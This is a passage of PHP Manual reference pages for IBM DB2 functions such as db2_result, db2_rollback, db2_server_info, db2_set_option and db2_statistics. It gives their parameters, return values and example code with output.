PROCEDURE_NAME | Name of the procedure.
NUM_INPUT_PARAMS | Number of input (IN) parameters for the stored procedure.
NUM_OUTPUT_PARAMS | Number of output (OUT) parameters for the stored procedure.
NUM_RESULT_SETS | Number of result sets returned by the stored procedure.
REMARKS | Any comments about the stored procedure.
PROCEDURE_TYPE | Always returns 1, indicating that the stored procedure does not return a return value.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a single column from a row in the result set

  • « db2_procedures
  • db2_rollback »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a single column from a row in the result set

db2_result

(PECL ibm_db2 >= 1.0.0)

db2_result — Returns a single column from a row in the result set

Description

mixed db2_result ( resource $stmt , mixed $column )

Use db2_result() to return the value of a specified column in the current row of a result set. You must call db2_fetch_row() before calling db2_result() to set the location of the result set pointer.

Parameters

stmt

A valid stmt resource.

column

Either an integer mapping to the 0-indexed field in the result set, or a string matching the name of the column.

Return Values

Returns the value of the requested field if the field exists in the result set. Returns NULL if the field does not exist, and issues a warning.

Examples

Example #1 A db2_result() example

The following example demonstrates how to iterate through a result set with db2_fetch_row() and retrieve columns from the result set with db2_result().

<?php
$sql = 'SELECT name, breed FROM animals WHERE weight < ?';
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, array(10));
while (db2_fetch_row($stmt)) {
    $name = db2_result($stmt, 0);
    $breed = db2_result($stmt, 'BREED');
    print "$name $breed";
}
?>

The above example will output:

cat Pook
gold fish Bubbles
budgerigar Gizmo
goat Rickety Ride

See Also

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row

User Contributed Notes

There are no user contributed notes for this page.


Rolls back a transaction

  • « db2_result
  • db2_server_info »
  • PHP Manual
  • IBM DB2 Functions
  • Rolls back a transaction

db2_rollback

(PECL ibm_db2 >= 1.0.0)

db2_rollback — Rolls back a transaction

Description

bool db2_rollback ( resource $connection )

Rolls back an in-progress transaction on the specified connection resource and begins a new transaction. PHP applications normally default to AUTOCOMMIT mode, so db2_rollback() normally has no effect unless AUTOCOMMIT has been turned off for the connection resource.

Parameters

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Rolling back a DELETE statement

In the following example, we count the number of rows in a table, turn off AUTOCOMMIT mode on a database connection, delete all of the rows in the table and return the count of 0 to prove that the rows have been removed. We then issue db2_rollback() and return the updated count of rows in the table to show that the number is the same as before we issued the DELETE statement. The return to the original state of the table demonstrates that the roll back of the transaction succeeded.

<?php
$conn = db2_connect($database, $user, $password);

if ($conn) {
    $stmt = db2_exec($conn, "SELECT count(*) FROM animals");
    $res = db2_fetch_array( $stmt );
    echo $res[0] . "\n";

    // Turn AUTOCOMMIT off
    db2_autocommit($conn, DB2_AUTOCOMMIT_OFF);

    // Delete all rows from ANIMALS
    db2_exec($conn, "DELETE FROM animals");

    $stmt = db2_exec($conn, "SELECT count(*) FROM animals");
    $res = db2_fetch_array( $stmt );
    echo $res[0] . "\n";

    // Roll back the DELETE statement
    db2_rollback( $conn );

    $stmt = db2_exec( $conn, "SELECT count(*) FROM animals" );
    $res = db2_fetch_array( $stmt );
    echo $res[0] . "\n";
    db2_close($conn);
}
?>

The above example will output:

7
0
7

See Also

  • db2_autocommit() - Returns or sets the AUTOCOMMIT state for a database connection
  • db2_commit() - Commits a transaction

User Contributed Notes

There are no user contributed notes for this page.


Returns an object with properties that describe the DB2 database server

  • « db2_rollback
  • db2_set_option »
  • PHP Manual
  • IBM DB2 Functions
  • Returns an object with properties that describe the DB2 database server

db2_server_info

(PECL ibm_db2 >= 1.1.1)

db2_server_info — Returns an object with properties that describe the DB2 database server

Description

object db2_server_info ( resource $connection )

This function returns an object with read-only properties that return information about the IBM DB2, Cloudscape, or Apache Derby database server. The following table lists the database server properties:

Database server properties
Property name | Return type | Description
DBMS_NAME | string | The name of the database server to which you are connected. For DB2 servers this is a combination of DB2 followed by the operating system on which the database server is running.
DBMS_VER | string | The version of the database server, in the form of a string "MM.mm.uuuu" where MM is the major version, mm is the minor version, and uuuu is the update. For example, "08.02.0001" represents major version 8, minor version 2, update 1.
DB_CODEPAGE | int | The code page of the database to which you are connected.
DB_NAME | string | The name of the database to which you are connected.
DFT_ISOLATION string

The default transaction isolation level supported by the server:

UR

Uncommitted read: changes are immediately visible by all concurrent transactions.

CS

Cursor stability: a row read by one transaction can be altered and committed by a second concurrent transaction.

RS

Read stability: a transaction can add or remove rows matching a search condition or a pending transaction.

RR

Repeatable read: data affected by pending transaction is not available to other transactions.

NC

No commit: any changes are visible at the end of a successful operation. Explicit commits and rollbacks are not allowed.

IDENTIFIER_QUOTE_CHAR | string | The character used to delimit an identifier.
INST_NAME | string | The instance on the database server that contains the database.
ISOLATION_OPTION | array | An array of the isolation options supported by the database server. The isolation options are described in the DFT_ISOLATION property.
KEYWORDS | array | An array of the keywords reserved by the database server.
LIKE_ESCAPE_CLAUSE | bool | TRUE if the database server supports the use of % and _ wildcard characters. FALSE if the database server does not support these wildcard characters.
MAX_COL_NAME_LEN | int | Maximum length of a column name supported by the database server, expressed in bytes.
MAX_IDENTIFIER_LEN | int | Maximum length of an SQL identifier supported by the database server, expressed in characters.
MAX_INDEX_SIZE | int | Maximum size of columns combined in an index supported by the database server, expressed in bytes.
MAX_PROC_NAME_LEN | int | Maximum length of a procedure name supported by the database server, expressed in bytes.
MAX_ROW_SIZE | int | Maximum length of a row in a base table supported by the database server, expressed in bytes.
MAX_SCHEMA_NAME_LEN | int | Maximum length of a schema name supported by the database server, expressed in bytes.
MAX_STATEMENT_LEN | int | Maximum length of an SQL statement supported by the database server, expressed in bytes.
MAX_TABLE_NAME_LEN | int | Maximum length of a table name supported by the database server, expressed in bytes.
NON_NULLABLE_COLUMNS | bool | TRUE if the database server supports columns that can be defined as NOT NULL, FALSE if the database server does not support columns defined as NOT NULL.
PROCEDURES | bool | TRUE if the database server supports the use of the CALL statement to call stored procedures, FALSE if the database server does not support the CALL statement.
SPECIAL_CHARS | string | A string containing all of the characters other than a-Z, 0-9, and underscore that can be used in an identifier name.
SQL_CONFORMANCE string

The level of conformance to the ANSI/ISO SQL-92 specification offered by the database server:

ENTRY

Entry-level SQL-92 compliance.

FIPS127

FIPS-127-2 transitional compliance.

FULL

Full level SQL-92 compliance.

INTERMEDIATE

Intermediate level SQL-92 compliance.

Parameters

connection

Specifies an active DB2 client connection.

Return Values

Returns an object on a successful call. Returns FALSE on failure.

Examples

Example #1 A db2_server_info() example

To retrieve information about the server, you must pass a valid database connection resource to db2_server_info().

<?php

$conn = db2_connect('sample', 'db2inst1', 'ibmdb2');

$server = db2_server_info( $conn );

if ($server) {
    echo "DBMS_NAME: ";                 var_dump( $server->DBMS_NAME );
    echo "DBMS_VER: ";                  var_dump( $server->DBMS_VER );
    echo "DB_CODEPAGE: ";               var_dump( $server->DB_CODEPAGE );
    echo "DB_NAME: ";                   var_dump( $server->DB_NAME );
    echo "INST_NAME: ";                 var_dump( $server->INST_NAME );
    echo "SPECIAL_CHARS: ";             var_dump( $server->SPECIAL_CHARS );
    echo "KEYWORDS: ";                  var_dump( sizeof($server->KEYWORDS) );
    echo "DFT_ISOLATION: ";             var_dump( $server->DFT_ISOLATION );
    echo "ISOLATION_OPTION: ";
    $il = '';
    foreach( $server->ISOLATION_OPTION as $opt )
    {
       $il .= $opt." ";
    }
    var_dump( $il );
    echo "SQL_CONFORMANCE: ";           var_dump( $server->SQL_CONFORMANCE );
    echo "PROCEDURES: ";                var_dump( $server->PROCEDURES );
    echo "IDENTIFIER_QUOTE_CHAR: ";     var_dump( $server->IDENTIFIER_QUOTE_CHAR );
    echo "LIKE_ESCAPE_CLAUSE: ";        var_dump( $server->LIKE_ESCAPE_CLAUSE );
    echo "MAX_COL_NAME_LEN: ";          var_dump( $server->MAX_COL_NAME_LEN );
    echo "MAX_ROW_SIZE: ";              var_dump( $server->MAX_ROW_SIZE );
    echo "MAX_IDENTIFIER_LEN: ";        var_dump( $server->MAX_IDENTIFIER_LEN );
    echo "MAX_INDEX_SIZE: ";            var_dump( $server->MAX_INDEX_SIZE );
    echo "MAX_PROC_NAME_LEN: ";         var_dump( $server->MAX_PROC_NAME_LEN );
    echo "MAX_SCHEMA_NAME_LEN: ";       var_dump( $server->MAX_SCHEMA_NAME_LEN );
    echo "MAX_STATEMENT_LEN: ";         var_dump( $server->MAX_STATEMENT_LEN );
    echo "MAX_TABLE_NAME_LEN: ";        var_dump( $server->MAX_TABLE_NAME_LEN );
    echo "NON_NULLABLE_COLUMNS: ";      var_dump( $server->NON_NULLABLE_COLUMNS );

    db2_close($conn);
}
?>

The above example will output:

DBMS_NAME: string(9) "DB2/LINUX"
DBMS_VER: string(10) "08.02.0000"
DB_CODEPAGE: int(1208)
DB_NAME: string(6) "SAMPLE"
INST_NAME: string(8) "db2inst1"
SPECIAL_CHARS: string(2) "@#"
KEYWORDS: int(179)
DFT_ISOLATION: string(2) "CS"
ISOLATION_OPTION: string(12) "UR CS RS RR "
SQL_CONFORMANCE: string(7) "FIPS127"
PROCEDURES: bool(true)
IDENTIFIER_QUOTE_CHAR: string(1) """
LIKE_ESCAPE_CLAUSE: bool(true)
MAX_COL_NAME_LEN: int(30)
MAX_ROW_SIZE: int(32677)
MAX_IDENTIFIER_LEN: int(18)
MAX_INDEX_SIZE: int(1024)
MAX_PROC_NAME_LEN: int(128)
MAX_SCHEMA_NAME_LEN: int(30)
MAX_STATEMENT_LEN: int(2097152)
MAX_TABLE_NAME_LEN: int(128)
NON_NULLABLE_COLUMNS: bool(true)

See Also

  • db2_client_info() - Returns an object with properties that describe the DB2 database client

User Contributed Notes

There are no user contributed notes for this page.


Set options for connection or statement resources

  • « db2_server_info
  • db2_special_columns »
  • PHP Manual
  • IBM DB2 Functions
  • Set options for connection or statement resources

db2_set_option

(PECL ibm_db2 >= 1.0.0)

db2_set_option — Set options for connection or statement resources

Description

bool db2_set_option ( resource $resource , array $options , int $type )

Sets options for a statement resource or a connection resource. You cannot set options for result set resources.

Parameters

resource

A valid statement resource as returned from db2_prepare() or a valid connection resource as returned from db2_connect() or db2_pconnect().

options

An associative array containing valid statement or connection options. This parameter can be used to change autocommit values, cursor types (scrollable or forward), and to specify the case of the column names (lower, upper, or natural) that will appear in a result set.

autocommit

Passing DB2_AUTOCOMMIT_ON turns autocommit on for the specified connection resource.

Passing DB2_AUTOCOMMIT_OFF turns autocommit off for the specified connection resource.

cursor

Passing DB2_FORWARD_ONLY specifies a forward-only cursor for a statement resource. This is the default cursor type, and is supported by all database servers.

Passing DB2_SCROLLABLE specifies a scrollable cursor for a statement resource. Scrollable cursors enable result set rows to be accessed in non-sequential order, but are only supported by IBM DB2 Universal Database databases.

binmode

Passing DB2_BINARY specifies that binary data will be returned as is. This is the default mode. This is the equivalent of setting ibm_db2.binmode=1 in php.ini.

Passing DB2_CONVERT specifies that binary data will be converted to hexadecimal encoding, and will be returned as such. This is the equivalent of setting ibm_db2.binmode=2 in php.ini.

Passing DB2_PASSTHRU specifies that binary data will be converted to NULL. This is the equivalent of setting ibm_db2.binmode=3 in php.ini.

db2_attr_case

Passing DB2_CASE_LOWER specifies that column names of the result set are returned in lower case.

Passing DB2_CASE_UPPER specifies that column names of the result set are returned in upper case.

Passing DB2_CASE_NATURAL specifies that column names of the result set are returned in natural case.

deferred_prepare

Passing DB2_DEFERRED_PREPARE_ON turns deferred prepare on for the specified statement resource.

Passing DB2_DEFERRED_PREPARE_OFF turns deferred prepare off for the specified statement resource.

The following new i5/OS options are available in ibm_db2 version 1.5.1 and later. These options apply only when running PHP and ibm_db2 natively on i5 systems.

i5_fetch_only

DB2_I5_FETCH_ON - Cursors are read-only and cannot be used for positioned updates or deletes. This is the default unless SQL_ATTR_FOR_FETCH_ONLY environment has been set to SQL_FALSE.

DB2_I5_FETCH_OFF - Cursors can be used for positioned updates and deletes.

The following new option is available in ibm_db2 version 1.8.0 and later.

rowcount

DB2_ROWCOUNT_PREFETCH_ON - Client can request the full row count prior to fetching, which means that db2_num_rows() returns the number of rows selected even when a ROLLFORWARD_ONLY cursor is used.

DB2_ROWCOUNT_PREFETCH_OFF - Client cannot request the full row count prior to fetching.

The following new options are available in ibm_db2 version 1.7.0 and later.

trusted_user

To switch the user to a trusted user, pass the User ID (String) of the trusted user as the value of this key. This option can be set on a connection resource only. To use this option, trusted context must be enabled on the connection resource.

trusted_password

The password (String) that corresponds to the user specified by the trusted_user key.

The following new options are available in ibm_db2 version 1.6.0 and later. These options provide useful tracking information that can be accessed during execution with db2_get_option().

Note:

When the value in each option is being set, some servers might not handle the entire length provided and might truncate the value.

To ensure that the data specified in each option is converted correctly when transmitted to a host system, use only the characters A through Z, 0 through 9, and the underscore (_) or period (.).

userid

SQL_ATTR_INFO_USERID - A pointer to a null-terminated character string used to identify the client user ID sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 16 characters. This user-id is not to be confused with the authentication user-id, it is for identification purposes only and is not used for any authorization.

acctstr

SQL_ATTR_INFO_ACCTSTR - A pointer to a null-terminated character string used to identify the client accounting string sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 200 characters.

applname

SQL_ATTR_INFO_APPLNAME - A pointer to a null-terminated character string used to identify the client application name sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 32 characters.

wrkstnname

SQL_ATTR_INFO_WRKSTNNAME - A pointer to a null-terminated character string used to identify the client workstation name sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 18 characters.

type

An integer value that specifies the type of resource that was passed into the function. The type of resource and this value must correspond.

Passing 1 as the value specifies that a connection resource has been passed into the function.

Passing any integer not equal to 1 as the value specifies that a statement resource has been passed into the function.

The following table specifies which options are compatible with the available resource types:

Resource-Parameter Matrix
Key | Value | Resource Type
 |  | Connection | Statement | Result Set
autocommit | DB2_AUTOCOMMIT_ON | X | - | -
autocommit | DB2_AUTOCOMMIT_OFF | X | - | -
cursor | DB2_SCROLLABLE | - | X | -
cursor | DB2_FORWARD_ONLY | - | X | -
binmode | DB2_BINARY | X | X | -
binmode | DB2_CONVERT | X | X | -
binmode | DB2_PASSTHRU | X | X | -
db2_attr_case | DB2_CASE_LOWER | X | X | -
db2_attr_case | DB2_CASE_UPPER | X | X | -
db2_attr_case | DB2_CASE_NATURAL | X | X | -
deferred_prepare | DB2_DEFERRED_PREPARE_ON | - | X | -
deferred_prepare | DB2_DEFERRED_PREPARE_OFF | - | X | -
i5_fetch_only | DB2_I5_FETCH_ON | - | X | -
i5_fetch_only | DB2_I5_FETCH_OFF | - | X | -
rowcount | DB2_ROWCOUNT_PREFETCH_ON | - | X | -
rowcount | DB2_ROWCOUNT_PREFETCH_OFF | - | X | -
trusted_user | <USER NAME> (String) | X | - | -
trusted_password | <PASSWORD> (String) | X | - | -
userid | SQL_ATTR_INFO_USERID | X | X | -
acctstr | SQL_ATTR_INFO_ACCTSTR | X | X | -
applname | SQL_ATTR_INFO_APPLNAME | X | X | -
wrkstnname | SQL_ATTR_INFO_WRKSTNNAME | X | X | -

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting one parameter with a connection resource

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_ON);

/* Call the function using the correct resource, options array, and type values */
$result = db2_set_option($conn, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
  echo 'Options Set Successfully';
}
else
{
  echo 'Could Not Set Options';
}
?>

The above example will output:

Options Set Successfully

Example #2 Setting multiple parameters with a connection resource

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
                    'binmode' => DB2_PASSTHRU,
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

/* Call the function using the correct resource, options array, and type values */
$result = db2_set_option($conn, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
  echo 'Options Set Successfully';
}
else
{
  echo 'Could Not Set Options';
}
?>

The above example will output:

Options Set Successfully

Example #3 Setting multiple parameters with an invalid key

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
             'MY_INVALID_KEY' => DB2_PASSTHRU,
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

/* Call the function using the correct resource, options array, and type values */
$result = db2_set_option($conn, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
  echo 'Options Set Successfully';
}
else
{
  echo 'Could Not Set Options';
}
?>

The above example will output:

Could Not Set Options

Example #4 Setting multiple parameters with an invalid value

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
                    'binmode' => 'INVALID_VALUE',
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

/* Call the function using the correct resource, options array, and type values */
$result = db2_set_option($conn, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
  echo 'Options Set Successfully';
}
else
{
  echo 'Could Not Set Options';
}
?>

The above example will output:

Could Not Set Options

Example #5 Setting multiple parameters with a connection resource and the wrong type

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
                    'binmode' => DB2_PASSTHRU,
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

/* Call the function using the correct resource, options array, and the wrong type value */
$result = db2_set_option($conn, $options, 2);

/* Check if all options could be set correctly */
if($result)
{
  echo 'Options Set Successfully';
}
else
{
  echo 'Could Not Set Options';
}
?>

The above example will output:

Could Not Set Options

Example #6 Setting multiple parameters with the wrong resource

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
                    'binmode' => DB2_PASSTHRU,
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

$stmt = db2_prepare($conn, 'SELECT * FROM EMPLOYEE');

/* Call the function using the wrong resource, and the correct options array, and type values */
$result = db2_set_option($stmt, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
  echo 'Options Set Successfully';
}
else
{
  echo 'Could Not Set Options';
}
?>

The above example will output:

Could Not Set Options

Example #7 Putting it all together

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('db2_attr_case' => DB2_CASE_LOWER,
                        'cursor' => DB2_SCROLLABLE);

$stmt = db2_prepare($conn, 'SELECT * FROM EMPLOYEE WHERE EMPNO = ? OR EMPNO = ?');

/* Call the function using the correct resource, options array, and type values */
$option_result = db2_set_option($stmt, $options, 2);
$result = db2_execute($stmt, array('000130', '000140'));

/* Get Row 2 before Row 1 since Scrollable Cursor */
print_r(db2_fetch_assoc($stmt, 2));
print '<br /><br />';
print_r(db2_fetch_assoc($stmt, 1));

?>

The above example will output:

Array
(
    [empno] => 000140
    [firstnme] => HEATHER
    [midinit] => A
    [lastname] => NICHOLLS
    [workdept] => C01
    [phoneno] => 1793
    [hiredate] => 1976-12-15
    [job] => ANALYST
    [edlevel] => 18
    [sex] => F
    [birthdate] => 1946-01-19
    [salary] => 28420.00
    [bonus] => 600.00
    [comm] => 2274.00
)

Array
(
    [empno] => 000130
    [firstnme] => DELORES
    [midinit] => M
    [lastname] => QUINTANA
    [workdept] => C01
    [phoneno] => 4578
    [hiredate] => 1971-07-28
    [job] => ANALYST
    [edlevel] => 16
    [sex] => F
    [birthdate] => 1925-09-15
    [salary] => 23800.00
    [bonus] => 500.00
    [comm] => 1904.00
)

Example #8 i5/OS cursors are read-only

<?php
  $conn = db2_connect("", "", "", array("i5_lib"=>"nobody"));
  $stmt = db2_prepare($conn, 'select * from names where first = ?');
  $name = "first2";
  db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
  $options = array("i5_fetch_only"=>DB2_I5_FETCH_ON);
  db2_set_option($stmt,$options,0);
  if (db2_execute($stmt)) {
    while ($row = db2_fetch_array($stmt)) {
      echo "{$row[0]} {$row[1]}";
    }
  }
?>

The above example will output:

first2 last2

See Also

  • db2_connect() - Returns a connection to a database
  • db2_pconnect() - Returns a persistent connection to a database
  • db2_exec() - Executes an SQL statement directly
  • db2_prepare() - Prepares an SQL statement to be executed
  • db2_cursor_type() - Returns the cursor type used by a statement resource

User Contributed Notes

rtejpar at ca dot ibm dot com 03-Nov-2006 04:45
Examples 3 and 4 should output 'Options Set Successfully.'  This is because, only a single option's key/value is set incorrectly (other options are still correct), hence the function must return successfully. (Instead a PHP warning will most probably be issued).


Returns a result set listing the unique row identifier columns for a table

  • « db2_set_option
  • db2_statistics »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a result set listing the unique row identifier columns for a table

db2_special_columns

(PECL ibm_db2 >= 1.0.0)

db2_special_columns — Returns a result set listing the unique row identifier columns for a table

Description

resource db2_special_columns ( resource $connection , string $qualifier , string $schema , string $table_name , int $scope )

Returns a result set listing the unique row identifier columns for a table.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables.

table_name

The name of the table.

scope

Integer value representing the minimum duration for which the unique row identifier is valid. This can be one of the following values:

Integer value | SQL constant | Description
0 | SQL_SCOPE_CURROW | Row identifier is valid only while the cursor is positioned on the row.
1 | SQL_SCOPE_TRANSACTION | Row identifier is valid for the duration of the transaction.
2 | SQL_SCOPE_SESSION | Row identifier is valid for the duration of the connection.

Return Values

Returns a statement resource with a result set containing rows with unique row identifier information for a table. The rows are composed of the following columns:

Column name | Description
SCOPE

Integer value | SQL constant | Description
0 | SQL_SCOPE_CURROW | Row identifier is valid only while the cursor is positioned on the row.
1 | SQL_SCOPE_TRANSACTION | Row identifier is valid for the duration of the transaction.
2 | SQL_SCOPE_SESSION | Row identifier is valid for the duration of the connection.
COLUMN_NAME | Name of the unique column.
DATA_TYPE | SQL data type for the column.
TYPE_NAME | Character string representation of the SQL data type for the column.
COLUMN_SIZE | An integer value representing the size of the column.
BUFFER_LENGTH | Maximum number of bytes necessary to store data from this column.
DECIMAL_DIGITS | The scale of the column, or NULL where scale is not applicable.
NUM_PREC_RADIX | An integer value of either 10 (representing an exact numeric data type), 2 (representing an approximate numeric data type), or NULL (representing a data type for which radix is not applicable).
PSEUDO_COLUMN | Always returns 1.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a result set listing the index and statistics for a table

  • « db2_special_columns
  • db2_stmt_error »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a result set listing the index and statistics for a table

db2_statistics

(PECL ibm_db2 >= 1.0.0)

db2_statistics — Returns a result set listing the index and statistics for a table

Description

resource db2_statistics ( resource $connection , string $qualifier , string $schema , string $table-name , bool $unique )

Returns a result set listing the index and statistics for a table.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema that contains the targeted table. If this parameter is NULL, the statistics and indexes are returned for the schema of the current user.

table_name

The name of the table.

unique

An integer value representing the type of index information to return.

0

Return only the information for unique indexes on the table.

1

Return the information for all indexes on the table.

Return Values

Returns a statement resource with a result set containing rows describing the statistics and indexes for the base tables matching the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | The catalog that contains the table. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema that contains the table.
TABLE_NAME | Name of the table.
NON_UNIQUE

An integer value representing whether the index prohibits unique values, or whether the row represents statistics on the table itself:

Return value | Parameter type
0 (SQL_FALSE) | The index allows duplicate values.
1 (SQL_TRUE) | The index values must be unique.
NULL | This row is statistics information for the table itself.
INDEX_QUALIFIER | A string value representing the qualifier that would have to be prepended to INDEX_NAME to fully qualify the index.
INDEX_NAME | A string representing the name of the index.
TYPE

An integer value representing the type of information contained in this row of the result set:

Return value | Parameter type
0 (SQL_TABLE_STAT) | The row contains statistics about the table itself.
1 (SQL_INDEX_CLUSTERED) | The row contains information about a clustered index.
2 (SQL_INDEX_HASH) | The row contains information about a hashed index.
3 (SQL_INDEX_OTHER) | The row contains information about a type of index that is neither clustered nor hashed.
ORDINAL_POSITION | The 1-indexed position of the column in the index. NULL if the row contains statistics information about the table itself.
COLUMN_NAME | The name of the column in the index. NULL if the row contains statistics information about the table itself.
ASC_OR_DESC | A if the column is sorted in ascending order, D if the column is sorted in descending order, NULL if the row contains statistics information about the table itself.
CARDINALITY

If the row contains information about an index, this column contains an integer value representing the number of unique values in the index.

If the row contains information about the table itself, this column contains an integer value representing the number of rows in the table.

PAGES

If the row contains information about an index, this column contains an integer value representing the number of pages used to store the index.

If the row contains information about the table itself, this column contains an integer value representing the number of pages used to store the table.

FILTER_CONDITION | Always returns NULL.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
